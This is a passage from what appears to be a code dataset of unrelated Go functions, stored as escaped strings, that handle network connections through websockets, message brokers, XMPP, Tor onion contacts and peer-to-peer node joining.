[]byte)\n\t\tgo ReadCommand(session.socket, indata)\n\n\t\t// Keep processing commands until socket closes\n\t\tfor msgdata := range indata {\n\t\t\tresponse := &uploadpb.ServerResponse{}\n\t\t\tif err := proto.Unmarshal(msgdata, response); err != nil {\n\t\t\t\tlog.Printf(\"Server message process error: %v\\n\", err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tsession.processResponse(response)\n\t\t}\n\n\t\t// connection was closed\n\t\tsession.running = false\n\t\tlog.Println(\"Connection to server closed. Connecting in 3 seconds.\")\n\t\ttime.Sleep(time.Second * 3)\n\t}\n}", "func (queueWriter *QueueWriter) Connect(connectionAddress string) {\n\tconnection, err := stomp.Dial(\"tcp\", connectionAddress)\n\n\tif err != nil {\n\t\tlog.Fatalf(\"Could not connect to %s\", connectionAddress)\n\t\treturn\n\t}\n\n\tqueueWriter.isConnected = true\n\tqueueWriter.connection = connection\n\n\tlog.Printf(\"Connected to address: %s\", connectionAddress)\n}", "func onConnect(c *gnet.Connection, solicited bool) {\n\tfmt.Printf(\"Event Callback: connnect event \\n\")\n}", "func (h DeviceController) connectWSWriter(\n\tctx context.Context,\n\tconn *websocket.Conn,\n\tmsgChan <-chan *nats.Msg,\n\terrChan <-chan error,\n) (err error) {\n\tl := log.FromContext(ctx)\n\tdefer func() {\n\t\t// TODO Check err and errChan and send close control packet\n\t\t// with error if not initiated by client.\n\t\tconn.Close()\n\t}()\n\n\t// handle the ping-pong connection health check\n\terr = conn.SetReadDeadline(time.Now().Add(pongWait))\n\tif err != nil {\n\t\tl.Error(err)\n\t\treturn err\n\t}\n\n\tpingPeriod := (pongWait * 9) / 10\n\tticker := time.NewTicker(pingPeriod)\n\tdefer ticker.Stop()\n\tconn.SetPongHandler(func(string) error {\n\t\tticker.Reset(pingPeriod)\n\t\treturn conn.SetReadDeadline(time.Now().Add(pongWait))\n\t})\n\tconn.SetPingHandler(func(msg string) error {\n\t\tticker.Reset(pingPeriod)\n\t\terr := conn.SetReadDeadline(time.Now().Add(pongWait))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\treturn conn.WriteControl(\n\t\t\twebsocket.PongMessage,\n\t\t\t[]byte(msg),\n\t\t\ttime.Now().Add(writeWait),\n\t\t)\n\t})\nLoop:\n\tfor {\n\t\tselect {\n\t\tcase msg := <-msgChan:\n\t\t\terr = conn.WriteMessage(websocket.BinaryMessage, msg.Data)\n\t\t\tif err != nil {\n\t\t\t\tl.Error(err)\n\t\t\t\tbreak Loop\n\t\t\t}\n\t\tcase <-ctx.Done():\n\t\t\tbreak Loop\n\t\tcase <-ticker.C:\n\t\t\tif !websocketPing(conn) {\n\t\t\t\tbreak Loop\n\t\t\t}\n\t\tcase err := <-errChan:\n\t\t\treturn err\n\t\t}\n\t\tticker.Reset(pingPeriod)\n\t}\n\treturn err\n}", "func (c *Component) Connect() error {\n\tvar conn net.Conn\n\tvar err error\n\tif conn, err = net.DialTimeout(\"tcp\", c.Address, time.Duration(5)*time.Second); err != nil {\n\t\treturn err\n\t}\n\tc.conn = conn\n\n\t// 1. Send stream open tag\n\tif _, err := fmt.Fprintf(conn, componentStreamOpen, c.Domain, stanza.NSComponent, stanza.NSStream); err != nil {\n\t\treturn errors.New(\"cannot send stream open \" + err.Error())\n\t}\n\tc.decoder = xml.NewDecoder(conn)\n\n\t// 2. Initialize xml decoder and extract streamID from reply\n\tstreamId, err := stanza.InitStream(c.decoder)\n\tif err != nil {\n\t\treturn errors.New(\"cannot init decoder \" + err.Error())\n\t}\n\n\t// 3. Authentication\n\tif _, err := fmt.Fprintf(conn, \"<handshake>%s</handshake>\", c.handshake(streamId)); err != nil {\n\t\treturn errors.New(\"cannot send handshake \" + err.Error())\n\t}\n\n\t// 4. Check server response for authentication\n\tval, err := stanza.NextPacket(c.decoder)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tswitch v := val.(type) {\n\tcase stanza.StreamError:\n\t\treturn errors.New(\"handshake failed \" + v.Error.Local)\n\tcase stanza.Handshake:\n\t\t// Start the receiver go routine\n\t\tgo c.recv()\n\t\treturn nil\n\tdefault:\n\t\treturn errors.New(\"expecting handshake result, got \" + v.Name())\n\t}\n}", "func (g *CastDevice) Connect(ctx context.Context) error {\n\treturn g.client.Connect(ctx)\n}", "func (n *Network) SendMessage(message Message) (err error) {\n\t//syncMutex.Lock()\n\t//defer syncMutex.Unlock()\n\n\tif message.To == n.Myself.ID {\n\t\tn.ReceiveChan <- message\n\t\treturn nil\n\t}\n\n\tmessageByte, err := json.Marshal(message) //func(v interface{}) ([]byte, error)\n\tif err != nil {\n\t\tlog.Print(err)\n\t\treturn err\n\t}\n\tremoteConn := n.Connections[message.To]\n\tif remoteConn == nil {\n\t\t//fmt.Printf(\"Connection to node %d isnt present in n.Connections\\n\", message.To)\n\t\treturn fmt.Errorf(\"No TCP connection to node %d in Connection Table\", message.To)\n\t}\n\tif message.Type != \"Heartbeat\" { //Remove 1 to block printing of HB messages\n\t\t//fmt.Printf(\"SendMessage: From: %v (%d) To: %v (%d) Message: %v\\n\", remoteConn.LocalAddr(), n.Myself.ID, remoteConn.RemoteAddr(), message.To, message)\n\t}\n\t_, err = n.Connections[message.To].Write(messageByte)\n\tif err != nil {\n\t\tlog.Print(err)\n\t\t//Assumes the connection is broken (write: broken pipe)\n\t\tn.CloseConn(n.Connections[message.To])\n\t\treturn err\n\t}\n\treturn err\n}", "func (ss *sessionState) OnConnect(ctx context.Context, stream tunnel.Stream) (tunnel.Endpoint, error) {\n\tid := stream.ID()\n\tss.Lock()\n\tabp, ok := ss.awaitingBidiPipeMap[id]\n\tif ok {\n\t\tdelete(ss.awaitingBidiPipeMap, id)\n\t}\n\tss.Unlock()\n\n\tif !ok {\n\t\treturn nil, nil\n\t}\n\tdlog.Debugf(ctx, \" FWD %s, connect session %s with %s\", id, abp.stream.SessionID(), stream.SessionID())\n\tbidiPipe := tunnel.NewBidiPipe(abp.stream, stream)\n\tbidiPipe.Start(ctx)\n\n\tdefer close(abp.bidiPipeCh)\n\tselect {\n\tcase <-ss.done:\n\t\treturn nil, status.Error(codes.Canceled, \"session cancelled\")\n\tcase abp.bidiPipeCh <- bidiPipe:\n\t\treturn bidiPipe, nil\n\t}\n}", "func (s *StanServer) connectCB(m *nats.Msg) {\n\treq := &pb.ConnectRequest{}\n\terr := req.Unmarshal(m.Data)\n\tif err != nil || req.HeartbeatInbox == \"\" {\n\t\ts.log.Errorf(\"[Client:?] Invalid conn request: ClientID=%s, Inbox=%s, err=%v\",\n\t\t\treq.ClientID, req.HeartbeatInbox, err)\n\t\ts.sendConnectErr(m.Reply, ErrInvalidConnReq.Error())\n\t\treturn\n\t}\n\tif !clientIDRegEx.MatchString(req.ClientID) {\n\t\ts.log.Errorf(\"[Client:%s] Invalid ClientID, only alphanumeric and `-` or `_` characters allowed\", req.ClientID)\n\t\ts.sendConnectErr(m.Reply, ErrInvalidClientID.Error())\n\t\treturn\n\t}\n\n\t// If the client ID is already registered, check to see if it's the case\n\t// that the client refreshed (e.g. it crashed and came back) or if the\n\t// connection is a duplicate. If it refreshed, we will close the old\n\t// client and open a new one.\n\tclient := s.clients.lookup(req.ClientID)\n\tif client != nil {\n\t\t// When detecting a duplicate, the processing of the connect request\n\t\t// is going to be processed in a go-routine. We need however to keep\n\t\t// track and fail another request on the same client ID until the\n\t\t// current one has finished.\n\t\ts.cliDupCIDsMu.Lock()\n\t\tif _, exists := s.cliDipCIDsMap[req.ClientID]; exists {\n\t\t\ts.cliDupCIDsMu.Unlock()\n\t\t\ts.log.Debugf(\"[Client:%s] Connect failed; already connected\", req.ClientID)\n\t\t\ts.sendConnectErr(m.Reply, ErrInvalidClient.Error())\n\t\t\treturn\n\t\t}\n\t\ts.cliDipCIDsMap[req.ClientID] = struct{}{}\n\t\ts.cliDupCIDsMu.Unlock()\n\n\t\ts.startGoRoutine(func() {\n\t\t\tdefer s.wg.Done()\n\t\t\tisDup := false\n\t\t\tif s.isDuplicateConnect(client) {\n\t\t\t\ts.log.Debugf(\"[Client:%s] Connect failed; already connected\", req.ClientID)\n\t\t\t\ts.sendConnectErr(m.Reply, ErrInvalidClient.Error())\n\t\t\t\tisDup = true\n\t\t\t}\n\t\t\ts.cliDupCIDsMu.Lock()\n\t\t\tif !isDup {\n\t\t\t\ts.handleConnect(req, m, true)\n\t\t\t}\n\t\t\tdelete(s.cliDipCIDsMap, req.ClientID)\n\t\t\ts.cliDupCIDsMu.Unlock()\n\t\t})\n\t\treturn\n\t}\n\ts.cliDupCIDsMu.Lock()\n\ts.handleConnect(req, m, false)\n\ts.cliDupCIDsMu.Unlock()\n}", "func (c *Contact) connectOutbound(ctx context.Context, connChannel chan *connection.Connection) {\n\tc.mutex.Lock()\n\tconnector := OnionConnector{\n\t\tNetwork: c.core.Network,\n\t\tNeverGiveUp: true,\n\t}\n\thostname, _ := OnionFromAddress(c.data.Address)\n\tisRequest := c.data.Request != nil\n\tc.mutex.Unlock()\n\n\tfor {\n\t\tconn, err := connector.Connect(hostname+\":9878\", ctx)\n\t\tif err != nil {\n\t\t\t// The only failure here should be context, because NeverGiveUp\n\t\t\t// is set, but be robust anyway.\n\t\t\tif ctx.Err() != nil {\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tlog.Printf(\"Contact connection failure: %s\", err)\n\t\t\tcontinue\n\t\t}\n\n\t\t// XXX-protocol Ideally this should all take place under ctx also; easy option is a goroutine\n\t\t// blocked on ctx that kills the connection.\n\t\tlog.Printf(\"Successful outbound connection to contact %s\", hostname)\n\t\toc, err := protocol.NegotiateVersionOutbound(conn, hostname[0:16])\n\t\tif err != nil {\n\t\t\tlog.Printf(\"Outbound connection version negotiation failed: %v\", err)\n\t\t\tconn.Close()\n\t\t\tif err := connector.Backoff(ctx); err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\tlog.Printf(\"Outbound connection negotiated version; authenticating\")\n\t\tprivateKey := c.core.Identity.PrivateKey()\n\t\tknown, err := connection.HandleOutboundConnection(oc).ProcessAuthAsClient(&privateKey)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"Outbound connection authentication failed: %v\", err)\n\t\t\tcloseUnhandledConnection(oc)\n\t\t\tif err := connector.Backoff(ctx); err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\tif !known && !isRequest {\n\t\t\tlog.Printf(\"Outbound connection to contact says we are not a known contact for %v\", c)\n\t\t\t// XXX Should move to rejected status, stop attempting connections.\n\t\t\tcloseUnhandledConnection(oc)\n\t\t\tif err := connector.Backoff(ctx); err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tcontinue\n\t\t} else if known && isRequest {\n\t\t\tlog.Printf(\"Contact request implicitly accepted for outbound connection by contact %v\", c)\n\t\t\tc.UpdateContactRequest(\"Accepted\")\n\t\t\tisRequest = false\n\t\t}\n\n\t\tif isRequest {\n\t\t\t// Need to send a contact request; this will block until the peer accepts or rejects,\n\t\t\t// the connection fails, or the context is cancelled (which also closes the connection).\n\t\t\tif err := c.sendContactRequest(oc, ctx); err != nil {\n\t\t\t\tlog.Printf(\"Outbound contact request connection closed: %s\", err)\n\t\t\t\tif err := connector.Backoff(ctx); err != nil {\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tcontinue\n\t\t\t} else {\n\t\t\t\tlog.Printf(\"Outbound contact request accepted, assigning connection\")\n\t\t\t}\n\t\t}\n\n\t\tlog.Printf(\"Assigning outbound connection to contact\")\n\t\tc.AssignConnection(oc)\n\t\tbreak\n\t}\n}", "func (l *LogWriter) connect() {\n\tif l.connecting {\n\t\treturn\n\t}\n\tl.connecting = true\n\tvar err error\n\tfor l.conn == nil {\n\t\tl.conn, err = net.Dial(\"tcp\", l.Addr)\n\t\tif err != nil {\n\t\t\ttime.Sleep(time.Second)\n\t\t\tcontinue\n\t\t}\n\t\terr = l.sendMsg([]byte(fmt.Sprintf(\"!!cutelog!!format=%s\", l.Format)))\n\t\tif err != nil {\n\t\t\tl.Close()\n\t\t}\n\t}\n\tl.connecting = false\n}", "func (client *ChatClient) Connect() {\n\t// create the initial client connection descriptor targeting the chat server\n\tclient.internal = &nan0.Service{\n\t\tHostName: *Host,\n\t\tPort: int32(*Port),\n\t\tServiceType: \"Chat\",\n\t\tServiceName: \"ChatServer\",\n\t\tStartTime: time.Now().Unix(),\n\t\tExpired: false,\n\t}\n\n\t// create another random user id\n\tnewUserId := random.Int63()\n\t// use this auto-generated username unless a custom username has been assigned\n\tclient.user = &User{\n\t\tUserName: fmt.Sprintf(\"Connected_User#%v\\n\", newUserId),\n\t}\n\tif *CustomUsername != \"\" {\n\t\tclient.user.SetUserName(*CustomUsername)\n\t}\n\n\t// convert the base64 keys to usable byte arrays\n\tencKey, authKey := KeysToNan0Bytes(*EncryptKey, *Signature)\n\n\t// connect to the server securely\n\tnan0chat, err := client.internal.DialNan0Secure(encKey, authKey).\n\t\tReceiveBuffer(1).\n\t\tSendBuffer(0).\n\t\tAddMessageIdentity(new(ChatMessage)).\n\tBuild()\n\t// close the connection when this application closes\n\tdefer nan0chat.Close()\n\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// get the channels used to communicate with the server\n\tserviceReceiver := nan0chat.GetReceiver()\n\tserviceSender := nan0chat.GetSender()\n\n\t// create and start a new UI\n\tvar chatClientUI ChatClientUI\n\t// create a message channel for passing ui message to backend and to server\n\tmessageChannel := make(chan string)\n\tgo chatClientUI.Start(fmt.Sprintf(\"@%v: \", client.user.UserName), messageChannel)\n\n\tfor {\n\t\tselect {\n\t\t// when a new message comes in, handle it\n\t\tcase m := <-serviceReceiver:\n\t\t\tif message, ok := m.(*ChatMessage); ok {\n\t\t\t\tchatClientUI.outputBox.addMessage(message.Message)\n\t\t\t}\n\t\t// when a new message is generated in the UI, broadcast it\n\t\tcase newmsg := <-messageChannel:\n\t\t\tserviceSender <- &ChatMessage{\n\t\t\t\tMessage: newmsg,\n\t\t\t\tTime: time.Now().Unix(),\n\t\t\t\tMessageId: random.Int63(),\n\t\t\t\tUserId: random.Int63(),\n\t\t\t}\n\t\t}\n\t}\n}", "func (r *Rmq) Connect() {\n\tconn, err := amqp.Dial(r.uri)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tr.conn = conn\n\n\tch, err := conn.Channel()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tr.ch = ch\n}", "func connectWebsocket(port string) {\n\tfor {\n\t\tvar err error\n\t\tServerIP = utils.DiscoverServer()\n\t\tif ServerIP == \"\" {\n\t\t\tlogger.WithFields(logger.Fields{}).Debugf(\"Wait 5 seconds to redail...\")\n\t\t\ttime.Sleep(time.Second * 5)\n\t\t\tcontinue\n\t\t}\n\t\tu := url.URL{Scheme: \"ws\", Host: ServerIP + \":\" + os.Getenv(\"CASA_SERVER_PORT\"), Path: \"/v1/ws\"}\n\t\tWS, _, err = websocket.DefaultDialer.Dial(u.String(), nil)\n\t\tif err != nil {\n\t\t\tlogger.WithFields(logger.Fields{\"code\": \"CGGWCCW001\"}).Errorf(\"%s\", err.Error())\n\t\t\tlogger.WithFields(logger.Fields{}).Debugf(\"Wait 5 seconds to redail...\")\n\t\t\ttime.Sleep(time.Second * 5)\n\t\t\tcontinue\n\t\t}\n\t\tbreak\n\t}\n\n\taddr := strings.Split(WS.LocalAddr().String(), \":\")[0]\n\tmessage := WebsocketMessage{\n\t\tAction: \"newConnection\",\n\t\tBody: []byte(addr + \":\" + port),\n\t}\n\tbyteMessage, _ := json.Marshal(message)\n\terr := WS.WriteMessage(websocket.TextMessage, byteMessage)\n\tif err != nil {\n\t\tlogger.WithFields(logger.Fields{\"code\": \"CGGWCCW002\"}).Errorf(\"%s\", err.Error())\n\t\treturn\n\t}\n\tlogger.WithFields(logger.Fields{}).Debugf(\"Websocket connected!\")\n}", "func (ms *MqttSocket) Connect() error {\n\tms.client = mqtt.NewClient(ms.options)\n\tif token := ms.client.Connect(); token.Wait() && token.Error() != nil {\n\t\treturn token.Error()\n\t}\n\treturn nil\n}", "func (m *MajsoulChannel) Connect(url string) error {\n\tm.mutexChannel.Lock()\n\tif m.isopen {\n\t\tm.mutexChannel.Unlock()\n\t\treturn errors.New(\"error: already connected\")\n\t}\n\n\tvar err error\n\tm.Connection, _, err = websocket.DefaultDialer.Dial(url, nil)\n\n\tif err != nil {\n\t\tm.mutexChannel.Unlock()\n\t\treturn err\n\t}\n\n\tdefer m.Connection.Close()\n\n\tm.isopen = true\n\tm.stop = make(chan struct{}, 1)\n\tinterrupt := make(chan os.Signal, 1)\n\tsignal.Notify(interrupt, os.Interrupt)\n\n\tm.Connection.SetPongHandler(m.pongHandler)\n\n\tgo m.recvMsg(m.stop)\n\tgo m.sendMsg(m.stop)\n\tgo m.sustain(m.stop)\n\n\tlog.Println(\"Successfully connected to\", url)\n\n\tm.mutexChannel.Unlock()\n\n\tfor {\n\t\tselect {\n\t\tcase <-interrupt:\n\t\t\tm.Close(errors.New(\"connection terminated by interrupt signal\"))\n\t\t\treturn m.ExitValue()\n\t\tcase <-m.stop:\n\t\t\treturn m.ExitValue()\n\t\tcase msg := <-m.notifications:\n\t\t\tif m.notificationHandler != nil {\n\t\t\t\tgo m.notificationHandler(msg)\n\t\t\t}\n\t\t}\n\t}\n}", "func (s *Server) Connect(client *Client) {\n s.Clients.Store(client.Id, client)\n\n s.GM.Log.Debugf(\"Connecting new client %s\", client.Id)\n\n go client.Conn.Reader(client, s)\n go client.Conn.Writer(client, s)\n\n s.GM.FireEvent(NewDirectEvent(\"connected\", client, client.Id))\n}", "func (c *Client) Broadcast() {\n\tticker := time.NewTicker(pingPeriod)\n\n\tdefer func() {\n\t\tticker.Stop()\n\t\tc.conn.Close()\n\t}()\n\n\tfor {\n\t\tselect {\n\t\tcase message, ok := <-c.send:\n\t\t\tc.sendMessage(message, ok)\n\t\tcase <-ticker.C:\n\t\t\tc.conn.SetWriteDeadline(time.Now().Add(writeWait))\n\t\t\tif err := c.conn.WriteMessage(websocket.PingMessage, nil); nil != err {\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n}", "func (conn *Connection) PushToRoom(room *Room) {\n\tif conn.done() {\n\t\treturn\n\t}\n\tconn.wGroup.Add(1)\n\tdefer func() {\n\t\tconn.wGroup.Done()\n\t}()\n\n\tconn.setRoom(room)\n}", "func (pool *CigwPool) SendMessage(message string) <-chan string {\n\tresult := make(chan string)\n\ttimeout := make(chan bool, 1)\n\tgo func() {\n\t\ttime.Sleep(1 * time.Second)\n\t\ttimeout <- true\n\t}()\n\n\tvar conn *cigwConn\n\tselect {\n\tcase conn = <-pool.poolMember:\n\t\tbreak\n\tcase <-timeout:\n\t\tconn = constructConn()\n\t\tif !conn.isReady {\n\t\t\tresult <- \"connection is not ready\"\n\t\t\tpool.release(conn)\n\t\t\tclose(result)\n\t\t\treturn result\n\t\t}\n\t}\n\n\tgo func() {\n\t\tif !conn.isReady {\n\t\t\tresult <- \"connection is not ready\"\n\t\t\tpool.release(conn)\n\t\t\tclose(result)\n\t\t\treturn\n\t\t}\n\n\t\t_, writeErr := conn.conn.Write([]byte(message))\n\t\tconn.conn.SetReadDeadline(time.Now().Add(25 * time.Second))\n\t\tvar buff = make([]byte, 1263)\n\n\t\t_, readErr := io.ReadFull(conn.conn, buff)\n\n\t\tif timeoutErr, ok := readErr.(net.Error); ok && timeoutErr.Timeout() {\n\t\t\tconn.markAsDestroy = true\n\t\t\tconn.brokenListener <- timeoutErr\n\t\t\tresult <- \"timeout\"\n\t\t\tnewConn := constructConn()\n\t\t\tpool.release(newConn)\n\t\t\tclose(result)\n\t\t\treturn\n\t\t}\n\n\t\tif writeErr != nil || readErr != nil {\n\t\t\tconn.brokenListener <- errors.New(\"connection broken\")\n\t\t\tresult <- \"connection broken\"\n\t\t\tpool.release(conn)\n\t\t\tclose(result)\n\t\t} else {\n\t\t\tresult <- string(buff)\n\t\t\tpool.release(conn)\n\t\t\tclose(result)\n\t\t}\n\n\t}()\n\n\treturn result\n}", "func (c *client) Connect(ctx context.Context) error {\n\tif ctx == nil {\n\t\tctx = context.Background()\n\t}\n\tc.ctx = ctx\n\n\tremote := c.cfg.GetURL()\n\n\tvar subList []string\n\n\tfor topic := range c.SubscribedTopics {\n\t\tif IsPublicTopic(topic) {\n\t\t\tc.createCache(topic)\n\n\t\t\tsubList = append(subList, c.normalizeTopic(topic))\n\n\t\t\tcontinue\n\t\t}\n\n\t\tif IsPrivateTopic(topic) && c.hasAuth() {\n\t\t\tc.createCache(topic)\n\n\t\t\tsubList = append(subList, c.normalizeTopic(topic))\n\t\t}\n\t}\n\n\tif len(subList) > 0 {\n\t\tremote.RawQuery = \"subscribe=\" + strings.Join(subList, \",\")\n\t}\n\n\tlog.Info(\"Connecting to: \", remote.String())\n\n\tconn, rsp, err := websocket.DefaultDialer.DialContext(\n\t\tctx, remote.String(), c.getHeader())\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Fail to connect[%s]: %v, %v\",\n\t\t\tremote.String(), err, rsp)\n\t}\n\n\tdefer func() {\n\t\tgo c.messageHandler()\n\t\tgo c.heartbeatHandler()\n\t}()\n\n\tc.ws = conn\n\tc.connected = true\n\tc.ws.SetCloseHandler(c.closeHandler)\n\n\treturn nil\n}", "func (conn *Connection) Launch(ws config.WebSocketSettings, roomID string) {\n\n\t// dont place there conn.wGroup.Add(1)\n\tif conn.lobby == nil || conn.lobby.context == nil {\n\t\tfmt.Println(\"lobby nil or hasnt context!\")\n\t\treturn\n\t}\n\n\tall := &sync.WaitGroup{}\n\n\tfmt.Println(\"JoinConn!\")\n\tconn.lobby.JoinConn(conn, 3)\n\tall.Add(1)\n\tgo conn.WriteConn(conn.context, ws, all)\n\tall.Add(1)\n\tgo conn.ReadConn(conn.context, ws, all)\n\n\t//fmt.Println(\"Wait!\")\n\tif roomID != \"\" {\n\t\trs := &models.RoomSettings{}\n\t\trs.ID = roomID\n\t\tconn.lobby.EnterRoom(conn, rs)\n\t}\n\tall.Wait()\n\tfmt.Println(\"conn finished\")\n\tconn.lobby.Leave(conn, \"finished\")\n\tconn.Free()\n}", "func (l *Writer) connect() error {\n\tif l.writer != nil {\n\t\tl.writer.Close()\n\t\tl.writer = nil\n\t}\n\n\tc, err := net.Dial(\"udp\", l.raddr)\n\tif err == nil {\n\t\tl.writer = c\n\t}\n\treturn err\n}", "func broadcastWebSocket(outChannel chan string, ws *websocket.Conn) {\n\n for {\n select {\n case data := <-outChannel:\n ws.WriteMessage(websocket.TextMessage, []byte(data))\n break\n }\n }\n}", "func (rhost *rhostData) cmdConnectR(rec *receiveData) {\n\n\t// Replay to address we got from peer\n\trhost.teo.sendToTcd(rec.tcd, CmdNone, []byte{0})\n\n\tptr := 1 // pointer to first IP\n\tfrom := rec.rd.From() // from\n\tdata := rec.rd.Data() // received data\n\tnumIP := data[0] // number of received IPs\n\tport := int(C.getPort(unsafe.Pointer(&data[0]), C.size_t(len(data))))\n\n\t// Create data buffer to resend to peers\n\t// data structure: <from []byte> <0 byte> <addr []byte> <0 byte> <port uint32>\n\tmakeData := func(from, addr string, port int) []byte {\n\t\tbuf := new(bytes.Buffer)\n\t\tbinary.Write(buf, binary.LittleEndian, []byte(from))\n\t\tbinary.Write(buf, binary.LittleEndian, byte(0))\n\t\tbinary.Write(buf, binary.LittleEndian, []byte(addr))\n\t\tbinary.Write(buf, binary.LittleEndian, byte(0))\n\t\tbinary.Write(buf, binary.LittleEndian, uint32(port))\n\t\treturn buf.Bytes()\n\t}\n\n\t// Send received IPs to this peer child(connected peers)\n\tfor i := 0; i <= int(numIP); i++ {\n\t\tvar caddr *C.char\n\t\tif i == 0 {\n\t\t\tclocalhost := append([]byte(localhostIP), 0)\n\t\t\tcaddr = (*C.char)(unsafe.Pointer(&clocalhost[0]))\n\t\t} else {\n\t\t\tcaddr = (*C.char)(unsafe.Pointer(&data[ptr]))\n\t\t\tptr += int(C.strlen(caddr)) + 1\n\t\t}\n\t\taddr := C.GoString(caddr)\n\n\t\t// Send connected(who send this command) peer local IP address and port to\n\t\t// all this host child\n\t\tfor peer, arp := range rhost.teo.arp.m {\n\t\t\tif arp.mode != -1 && peer != from {\n\t\t\t\trhost.teo.SendTo(peer, CmdConnect, makeData(from, addr, port))\n\t\t\t}\n\t\t}\n\t}\n\n\t// Send connected(who send this command) peer IP address and port(defined by\n\t// this host) to all this host child\n\tfor peer, arp := range rhost.teo.arp.m {\n\t\tif arp.mode != -1 && peer != from {\n\t\t\trhost.teo.SendTo(peer, CmdConnect,\n\t\t\t\tmakeData(from, rec.tcd.GetAddr().IP.String(), rec.tcd.GetAddr().Port))\n\t\t\t// \\TODO: the discovery channel created here (issue #15)\n\t\t}\n\t}\n\n\t// Send all child IP address and port to connected(who send this command) peer\n\tfor peer, arp := range rhost.teo.arp.m {\n\t\tif arp.mode != -1 && peer != from {\n\t\t\trhost.teo.sendToTcd(rec.tcd, CmdConnect,\n\t\t\t\tmakeData(peer, arp.tcd.GetAddr().IP.String(), arp.tcd.GetAddr().Port))\n\t\t}\n\t}\n\t//teolog.Debug(MODULE, \"CMD_CONNECT_R command processed, from:\", rec.rd.From())\n\trhost.teo.com.log(rec.rd, \"CMD_CONNECT_R command processed\")\n}", "func (w *BaseWebsocketClient) OnConnecting() {}", "func (peer *PeerConnection) readConnectionPump(sock *NamedWebSocket) {\n\tdefer func() {\n\t\tpeer.removeConnection(sock)\n\t}()\n\tpeer.ws.SetReadLimit(maxMessageSize)\n\tpeer.ws.SetReadDeadline(time.Now().Add(pongWait))\n\tpeer.ws.SetPongHandler(func(string) error { peer.ws.SetReadDeadline(time.Now().Add(pongWait)); return nil })\n\tfor {\n\t\topCode, message, err := peer.ws.ReadMessage()\n\t\tif err != nil || opCode != websocket.TextMessage {\n\t\t\tbreak\n\t\t}\n\n\t\t//log.Printf(\"Received Peer Message: %s\",message)\n\n\t\twsBroadcast := &Message{\n\t\t\tsource: peer.id,\n\t\t\ttarget: 0, // target all connections\n\t\t\tpayload: string(message),\n\t\t\tfromProxy: false,\n\t\t}\n\t\tvar notiRecived bool = false\n\n\t\tfor e := peerNotifiedList.Front(); e != nil; e=e.Next() {\n\t\t\tif(string(message)==e.Value.(string)){\n\t\t\t\tnotiRecived = true\n\t\t\t}\n\t\t}\n\n\t\t//create notifications with the url for linux and android\n\t\tif(strings.Contains(string(message),\"http://\")&&!notiRecived){\n\t\t\t\n\t\t\tpeerNotifiedList.PushBack(string(message))\n\t\t\tproxyNotifiedList.PushBack(string(message))\n\t\t\t\n\t\t\tif peer.id!=sock.controllers[0].id {\n\n\t\t\t\tpath, err2 := filepath.Abs(\"Mediascape.png\")\n\t\t\t\tif err2 != nil {\n\t\t\t\t\tlog.Fatal(err)\n\t\t\t\t}\n\t\t\t\t//log.Printf(\"Notification %s\", path)\n\t\n\t\t\t\tnotify = notificator.New(notificator.Options{\n\t\t\t\t\tDefaultIcon: path,\n\t\t\t\t\tAppName: \"Mediascape\",\n\t\t\t\t})\n\t\n\t\t\t\tif(string(runtime.GOOS)==\"linux\"&&string(runtime.GOARCH)!=\"arm\"){\n\t\t\t\t\tnotify.Push(\"Mediascape\", string(message), path)\n\t\t\t\t}else if(string(runtime.GOOS)==\"linux\"&&string(runtime.GOARCH)==\"arm\"){\n\t\t\t\t\tcompletUrl := fmt.Sprintf(\"http://localhost:8182/discoveryagent/notification?url=%s\", string(message))\n\t\t\t\t\tresponse, err := http.Get(completUrl)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t// handle error\n\t\t\t\t\t\tlog.Printf(\"Error: %s\",err)\n\t\t\t\t\t}else{\n\t\t\t\t\t\tdefer response.Body.Close()\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tsock.broadcastBuffer <- wsBroadcast\n\t}\n}", "func (hub *Hub) Join(conn net.Conn) {\n\tclient := NewClient(conn)\n\thub.numClients++\n\tclientID := strconv.Itoa(hub.numClients)\n\thub.clientMap[clientID] = client\n\tgo func() {\n\t\tfor {\n\t\t\thub.outboundMessage <- <-client.inboundMessage\n\t\t}\n\t}()\n}", "func (this *Client) AwaitConnect() {\n\tthis.getConsumerConnection().awaitConnection()\n\tthis.getPublisherConnection().awaitConnection()\n}", "func (m *Mock) Connected(_ context.Context, peer p2p.Peer, _ bool) error {\n\tm.mtx.Lock()\n\tm.peers = append(m.peers, peer.Address)\n\tm.mtx.Unlock()\n\tm.Trigger()\n\treturn nil\n}", "func (n *Node) connect(entryPoint *peer.Peer) *NodeErr {\n\t// Create the request using a connection message.\n\tmsg := new(message.Message).SetType(message.ConnectType).SetFrom(n.Self)\n\treq, err := composeRequest(msg, entryPoint)\n\tif err != nil {\n\t\treturn ParseErr(\"error encoding message to request\", err)\n\t}\n\n\t// Try to join into the network through the provided peer\n\tres, err := n.client.Do(req)\n\tif err != nil {\n\t\treturn ConnErr(\"error trying to connect to a peer\", err)\n\t}\n\n\tif code := res.StatusCode; code != http.StatusOK {\n\t\terr := fmt.Errorf(\"%d http status received from %s\", code, entryPoint)\n\t\treturn ConnErr(\"error making the request to a peer\", err)\n\t}\n\n\t// Reading the list of current members of the network from the peer\n\t// response.\n\tbody, err := io.ReadAll(res.Body)\n\tif err != nil {\n\t\treturn ParseErr(\"error reading peer response body\", err)\n\t}\n\tres.Body.Close()\n\n\t// Parsing the received list\n\treceivedMembers := peer.NewMembers()\n\tif receivedMembers, err = receivedMembers.FromJSON(body); err != nil {\n\t\treturn ParseErr(\"error parsing incoming member list\", err)\n\t}\n\n\t// Update current members and send a connection request to all of them,\n\t// discarting the response received (the list of current members).\n\tfor _, member := range 